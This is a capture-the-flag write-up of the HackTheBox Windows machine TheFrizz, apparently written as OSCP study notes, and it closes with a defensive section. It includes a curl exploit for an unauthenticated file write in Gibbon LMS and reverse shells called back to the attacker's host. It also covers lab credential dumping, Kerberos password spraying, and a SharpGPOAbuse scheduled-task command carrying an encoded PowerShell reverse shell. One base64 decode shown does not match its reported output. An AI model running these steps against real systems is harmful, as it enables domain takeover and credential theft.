OSCP Prep #20 HTB Write-Up TheFrizz

1. Target Overview
Machine Name: TheFrizz
Platform: HackTheBox
Operating System: Windows
Target IP: 10.129.232.168
Objective: Gain initial access to the domain, pivot through multiple user contexts, and fully compromise the environment by abusing Group Policy permissions.
TheFrizz ended up being one of the most realistic Active Directory boxes I have worked through so far. It felt like a layered environment where progress came from paying attention, understanding Kerberos behavior, hunting for credentials in the right places, and pivoting. What I liked most about it was that each stage naturally led into the next. The web server gave me the first foothold, that foothold exposed credentials, those credentials led to a real domain user, and from there the box shifted into a much more AD-focused exercise that finished with a very instructive GPO abuse attack.
Tools Used
RustScan
NetExec
rpcclient
ffuf
curl
Python HTTP server
Netcat
MySQL client
Hashcat
RustHound CE
SSH
SCP
7-Zip
grep
SharpGPOAbuse
2. Enumeration
Nmap Scan
rustscan -a 10.129.232.168 -b 7000
As always, I started with a port scan to get the attack surface. Right away, the results looked exactly like what I would expect from a domain-connected Windows target. I saw the usual Active Directory-related services such as Kerberos, LDAP, SMB, and DNS, which immediately told me I was dealing with a domain environment and not just a standalone Windows host. At the same time, there were two other services that stood out to me right away: a web server on port 80 and SSH.
The presence of SSH on a Windows target was interesting because that is not always exposed, and I made a mental note that it might become useful later if I got valid credentials.
The scan also leaked the FQDN information, frizzdc.frizz.htb, which is always key early on in an AD box because it helps ground the rest of the enumeration in the correct domain context. I added it to my hosts file before going on. On AD targets, it's critical to do this first because it avoids problems later when using Kerberos-dependent tooling.
echo "10.129.232.168 frizzdc.frizz.htb frizz.htb"| sudo tee -a /etc/hosts
SMB Enumeration
nxc smb 10.129.232.168 -u '' -p '' --shares
nxc smb 10.129.232.168 -u 'guest' -p '' --shares
My next move was to follow my normal AD checklist and begin with SMB. I wanted to know right away whether the box allowed any kind of anonymous or guest access because that can sometimes open the door to quick share enumeration or user discovery.
That did not happen here. Both null and guest-style authentication attempts failed. which shut down the anonymous SMB angle pretty quickly.
RPC Enumeration
rpcclient -U "" -N 10.129.232.168
After SMB, I tested RPC anonymously. Just like SMB, this failed as well. The target returned NT_STATUS_NOT_SUPPORTED, so anonymous RPC enumeration was off the table too.
LDAP Enumeration
Anonymous LDAP enumeration was also not allowed. That meant no anonymous SMB, no anonymous RPC, and no anonymous LDAP meant I was not going to build my initial foothold from a misconfigured AD service.
With that in mind I shifted my attention to the next attack surface: the website on port 80.
Web Enumeration
ffuf -u http://frizz.htb/FUZZ -w /usr/share/wordlists/dirb/common.txt
I kicked off a directory fuzz and also started manually browsing the site in my browser. The website appeared to belong to an elementary school. It had school-related content, general information, and multiple links. Most of those links went nowhere, but one of them led to Gibbon LMS.
Once I landed on the Gibbon page, I noticed the version number right away at the bottom: 25.0.00. Whenever I can identify a framework, CMS, or platform version during enumeration, I treat that as a major lead.
The Gibbon page also had a login portal, so I tried some default credentials just in case, but they were unsuccessful. The links on the page were not especially useful either. Still, the important part was already in front of me: I had a named platform and a visible version number.
Vulnerability Research
From there, I searched for vulnerabilities affecting Gibbon 25.0.00 and came across a very promising result: an unauthenticated file write vulnerability that could be turned into remote code execution.
The vulnerability was described as follows:
GibbonEdu Gibbon version 25.0.1 and before allows Arbitrary File Write because
rubrics_visualise_saveAjax.phpdoes not require authentication. The endpoint accepts theimg,path, andgibbonPersonIDparameters. Theimgparameter is expected to be a base64 encoded image. If thepathparameter is set, the defined path is used as the destination folder, concatenated with the absolute path of the installation directory. The content of theimgparameter is base64 decoded and written to the defined file path. This allows creation of PHP files that permit Remote Code Execution.
Once I found that, the first thing I needed to do was confirm whether the vulnerable endpoint actually existed on the target.
3. Exploitation
Confirming File Write
curl http://frizz.htb/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
-d 'img=image/png;...&path=neo.php&gibbonPersonID=0000000001'
After confirming the vulnerable endpoint existed, I first used it to write a harmless text file and then verified that I could retrieve it successfully from the server.
Once the text file test worked, I moved on to writing a PHP web shell. That worked too. At that point I had unauthenticated code execution through the web application.
Shell as w.webservice
python3 -m http.server 80
nc -nvlp 7777
After proving I could execute commands through the uploaded PHP file, I used that access to pull down a PowerShell reverse shell script from my Python web server and shortly after that I caught a shell on my Netcat listener.
The shell landed as:
frizz\w.webservice
whoami
net user
As soon as I had the shell, I started with the usual questions: who am I, what can I see, and what can I use from here?
Running whoami showed I was the w.webservice account. Then I used net user to list local or domain-visible accounts. The result gave me a strong set of usernames to work with, including accounts like:
Administrator
f.frizzle
M.SchoolBus
Guest
krbtgt
w.Webservice
That list turned out to be extremely useful later, because it gave me a ready-made set of candidates for username validation, AS-REP roasting attempts, and password spraying.
At this stage I also ran:
whoami /all
but there were no interesting privileges or groups attached to w.webservice.
Local Enumeration
I checked for the two Windows privilege escalation angles I usually look at early:
cached Group Policy Preference passwords
AutoLogon credentials
I checked for XML files under the Group Policy History path and also reviewed the Winlogon registry settings. Neither path gave me anything useful here. That ruled out two common quick wins.
I then tried moving into user directories to see whether there were any loose files, notes, scripts, or other artifacts left behind, but w.webservice was too restricted to browse the users directory. Since those routes were blocked, I shifted to one of the places I specifically like checking early on web targets: the web application directory itself.
Credential Hunting in the Web Root
The target was using XAMPP, so I started looking around there. I specifically wanted config files, .ini files, database references, or anything else that might contain credentials. Since I already knew MySQL was present on the box, seeing the mysql directory inside XAMPP reinforced that I was looking in the right place.
I moved into the website root under C:\xampp\htdocs, then into the Gibbon application directory, and there I found exactly the kind of file I was hoping for:
config.php
When I opened it, I immediately found database credentials:
$databaseServer = 'localhost';
$databaseUsername = 'MrGibbonsDB';
$databasePassword = 'MisterGibbs!Parrot!?1';
$databaseName = 'gibbon';
This was a great example of why I like checking application directories early. The initial shell did not have strong privileges, but web applications often keep secrets close by.
Testing the Database Credentials
The next question was whether the password I found was reused anywhere else. I sprayed it against my username list, but it did not work for domain logons.
If the password was not reused directly for user authentication, the next best use for it was exactly what it was intended for: database access.
I used the local MySQL binary on the host to connect with the credentials from config.php. That worked. My interaction was a little clunky because I was not sitting in a clean, fully interactive MySQL session, so I was effectively running one command per login attempt.
I first enumerated the databases and saw one meaningful non-default database: gibbon.
Then I listed the tables and noticed gibbonperson, which looked like the most likely place to find account-related information.
When I dumped the contents of gibbonperson, I found a user record for f.frizzle along with a password hash.
That was the next major pivot point.
Cracking the Hash and Pivoting to f.frizzle
I took the recovered hash offline and cracked it with Hashcat. Once I had the password, I tested it.
The first interesting wrinkle here was that it did not work the way I expected with NTLM-based authentication. Testing it with SMB in the usual way failed. But when I switched to Kerberos authentication, it worked.
That was one of the better lessons from the box. The credential was valid, but the authentication method mattered. If I had treated the initial NTLM failure as proof the credential was useless, I would have thrown away a working domain password.
With the valid credentials for f.frizzle, I requested a TGT, initialized it, and used SSH with Kerberos authentication to connect to the target:
export KRB5_CONFIG=krb5.conf
kinit f.frizzle
ssh f.frizzle@10.129.232.168 -k
That got me a PowerShell session on the target as frizz\f.frizzle.
BloodHound Collection
rusthound-ce -u f.frizzle -p 'Jenni_Luvs_Magic23' -d frizz.htb -c All -z
Now that I had valid domain credentials, I wanted to step back and look at the broader domain graph. I used RustHound CE to collect data for BloodHound and then reviewed it for privilege escalation paths.
f.frizzle did not appear to have an obvious outbound object control path or some immediate misconfiguration I could exploit.
Since BloodHound was not handing me the answer, I went back to local enumeration.
4. Privilege Escalation
Enumerating as f.frizzle
whoami /all
tree /f /a
Once I had f.frizzle, I repeated my basic checks. I ran whoami /all to look for useful privileges or interesting group memberships, but there was nothing useful. I enumerated the user’s home directory with tree, but there were no especially interesting files there. I also tried browsing other users’ directories, but I did not have the access needed to pull anything useful from them.
I checked ProgramData, both Program Files directories, and other standard places where useful artifacts sometimes show up. Everything looked normal. No obvious credentials, no standout config files, no quick escalation vector.
This was the point in the box where I started to feel a little stuck. I had gone from web compromise to a valid domain user, but the next step was not obvious.
That ended up being one of the best parts of the machine, because the path forward came from a technique I had not really thought about before.
Checking the Recycle Bin
While continuing local enumeration, I checked the recycle bin for user artifacts. That turned out to be the breakthrough.
In the recycle bin, I found files with the familiar Windows recycle naming pattern. There are generally two types of entries involved there:
files beginning with
$I, which contain metadata about the original filefiles beginning with
$R, which are the actual deleted file contents
That was something I had not really leaned on before as a privilege escalation check, so this box was genuinely instructive in that regard.
Inside the recycle bin, I found a real file:
$RE2XMEG.7z
That looked immediately worth pulling.
Exfiltrating and Extracting the Archive
scp f.frizzle@frizz.htb:C:/Users/f.frizzle/Desktop/\$RE2XMEG.7z .
7z x \$RE2XMEG.7z
I copied the 7z archive back to my Kali box using scp and then extracted it locally.
Once extracted, the archive contained a large number of files, so I started doing what I usually do in that situation: searching for strings that looked like credentials, secrets, passwords, or config values.
I used grep and found a base64-looking value in one of the files:
IXN1QmNpZ0BNZWhtZWd1Q0hUgo=
Decoding the Secret and Spraying It
echo 'IXN1QmNpZ0BNZWhtZWd1Q0hUgo=' | base64 -d
Decoding the value gave me a plaintext secret:
!suBcig0MehTed!R
As soon as I had that, I tested it against my list of domain users.
My first round of spraying did not succeed over NTLM, but when I repeated the attempt using Kerberos, the credential turned out to be valid
for:
M.SchoolBus
That was another place where Kerberos awareness mattered. The password was good, but the authentication context made the difference between “this seems dead” and “this is the next pivot.”
Pivoting to M.SchoolBus
ssh M.SchoolBus@10.129.232.168 -k
whoami /all
I used the recovered credentials to SSH into the box as M.SchoolBus and immediately checked the user’s group memberships.
The account was a member of Group Policy Creator Owners.
That group membership was the path to full compromise.
What made this part especially valuable from a learning perspective was that it introduced me to a privilege escalation technique that feels very real in enterprise environments: GPO abuse. If a user has the ability to create and link Group Policy Objects in the right places, that can translate directly into code execution on high-value systems, including domain controllers.
Understanding the GPO Abuse Path
At a high level, the abuse path here was simple:
Create a new GPO
Link it where it will affect the Domain Controllers OU
Add a malicious scheduled task to that GPO
Force policy refresh
Wait for the domain controller to execute the task as SYSTEM
I was using legitimate AD administrative mechanisms in a malicious way because the compromised user had the rights to do so.
That makes this kind of attack especially dangerous in real environments. If a group like Group Policy Creator Owners is not tightly controlled, it can become a direct path to domain-wide impact.
Creating and Linking the Malicious GPO
New-GPO -name "neo"
New-GPLink -name "neo" -target "OU=DOMAIN CONTROLLERS,DC=FRIZZ,DC=HTB"
After understanding the path, I created a new GPO named neo and linked it to the Domain Controllers OU.
That alone did not trigger anything yet, but it prepared the environment for the next step: embedding a malicious action inside the policy.
Using SharpGPOAbuse to Execute Code
To weaponize the GPO, I downloaded the SharpGPOAbuse binary to the target using my Python web server. Then I used it to add a scheduled task to the GPO. The scheduled task was configured to execute a PowerShell command that would stage and run my reverse shell payload.
Conceptually, the attack worked like this:
the GPO carried a scheduled task
the scheduled task executed in the context of the affected machine
because the GPO was linked to the Domain Controllers OU, the domain controller processed it
the task executed as SYSTEM
That meant my original low-privileged foothold had now turned into code execution on the domain controller itself.
This was easily the most instructive part of the machine for me.
Forcing Policy Update and Catching SYSTEM
Once the GPO was in place, I set up my Netcat listener and then forced a Group Policy update so the malicious scheduled task would get applied.
After that, I caught the shell back as SYSTEM.
5. Lessons Learned
1. Version Disclosure Can Be the Difference Between Wandering and Winning
One of the earliest lessons reinforced here was that version disclosure matters. Seeing 25.0 at the bottom of the Gibbon page was not a trivial detail. It was the key that turned a generic web application into a known, vulnerable target.
2. Config Files Can be Goldmines for Credentials
The foothold as w.webservice did not give me much by itself, but the application files did. Finding the database credentials in config.php was one of the biggest pivots on the box.
3. Authentication Method Matters
This machine did a very good job of reminding me that a credential failing in one context does not automatically mean it is invalid. The f.frizzle and M.SchoolBus pivots worked when I approached them with Kerberos, even where NTLM-style testing was misleading. That is a lesson worth remembering on every AD target going forward.
4. Recycle Bin Enumeration Is a Real Privilege Escalation Check
Before this box, checking recycle bins was not something I thought about much as part of local enumeration. After this box, it absolutely is. Deleted files are still files, and if a user threw away something sensitive without securely removing it, that can become the next pivot.
5. Group Memberships Mean More Than They Sometimes Look Like
Seeing that M.SchoolBus was in Group Policy Creator Owners ended up being the entire win condition. This machine was a great reminder that privilege escalation in AD is often about understanding what a permission actually allows you to do operationally. A group name might not scream “domain compromise” at first glance, but if you know the abuse path, it absolutely can be.
6. Defensive Insight
1. Public Version Disclosure Increases Risk
Exposing the exact version of an internet-facing application makes vulnerability research much easier for an attacker. Even when that seems harmless from an administrative perspective, it narrows the attacker’s search space significantly and can speed up exploitation.
2. Dangerous Functionality Should Never Be Exposed Without Strong Access Control
The vulnerable Gibbon endpoint allowed unauthenticated file write, which is an extremely dangerous primitive. Any endpoint capable of writing content to disk should be tightly controlled, validated, and monitored. Leaving that kind of functionality exposed to unauthenticated users is a direct path to compromise.
3. Application Secrets Should Not Be Stored So Readily
The database credentials inside config.php gave me the next major pivot after initial access. That kind of secret storage is still very common in real-world applications, which is exactly why it remains such an effective target for attackers. Secrets should be tightly controlled, rotated, and segregated wherever possible.
4. Credential Reuse and Recoverable Secrets Continue to Be a Major Problem
The archive recovered from the recycle bin contained a secret that led directly to another user account. Even though the file had been deleted, it still represented live credential exposure. Sensitive archives, config dumps, and internal project files should be treated as high-risk artifacts throughout their lifecycle, including after deletion.
5. Group Policy Permissions Must Be Closely Controlled
The most severe issue on the box was not the web exploit alone. It was the fact that a compromised user in Group Policy Creator Owners could create and link a malicious GPO against the Domain Controllers OU. Permissions around GPO creation, linking, and modification should be tightly audited and restricted to only the smallest necessary set of administrators.
6. GPO Activity Should Be Monitored Aggressively
The creation of a new GPO, linking it to domain controllers, and adding a scheduled task are all events defenders should care deeply about. Those actions are powerful administrative operations, and unusual activity around them should generate immediate attention in a mature environment.
Useful Commands
Initial Scan
rustscan -a 10.129.232.168 -b 7000
SMB Enumeration
nxc smb 10.129.232.168 -u '' -p '' --shares
nxc smb 10.129.232.168 -u 'guest' -p '' --shares
RPC Enumeration
rpcclient -U "" -N 10.129.232.168
Exploiting Gibbon
curl http://frizz.htb/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
-d 'img=image/png;...&path=neo.php&gibbonPersonID=0000000001'
Local Database Access
C:\xampp\mysql\bin\mysql.exe -uMrGibbonsDB -pMisterGibbs!Parrot!?1 -e "SHOW DATABASES;"
C:\xampp\mysql\bin\mysql.exe -uMrGibbonsDB -pMisterGibbs!Parrot!?1 gibbon -e "SHOW TABLES;"
C:\xampp\mysql\bin\mysql.exe -uMrGibbonsDB -pMisterGibbs!Parrot!?1 gibbon -e "SELECT * FROM gibbonperson;"
BloodHound Collection
rusthound-ce -u f.frizzle -p 'Jenni_Luvs_Magic23' -d frizz.htb -c All -z
Kerberos Pivot
export KRB5_CONFIG=krb5.conf
kinit f.frizzle
ssh f.frizzle@10.129.232.168 -k
Recycle Bin Artifact Exfiltration
scp f.frizzle@frizz.htb:C:/Users/f.frizzle/Desktop/\$RE2XMEG.7z .
7z x \$RE2XMEG.7z
grep -r password .
echo 'IXN1QmNpZ0BNZWhtZWd1Q0hUgo=' | base64 -d
Kerberos Password Spray
nxc smb frizzdc.frizz.htb -u user.txt -p '!suBcig0MehTed!R' -k
GPO Abuse Setup
New-GPO -name "neo"
New-GPLink -name "neo" -target "OU=DOMAIN CONTROLLERS,DC=FRIZZ,DC=HTB"
.\sharp.exe --addcomputertask --GPOName "neo" --author "neo" --taskname "wtshelly" --Command "powershell.exe" --arguments "powershell -e JABjAGwAaQBlAG4AdAA9ACIA...<base64 omitted for brevity>..."
gpupdate /force





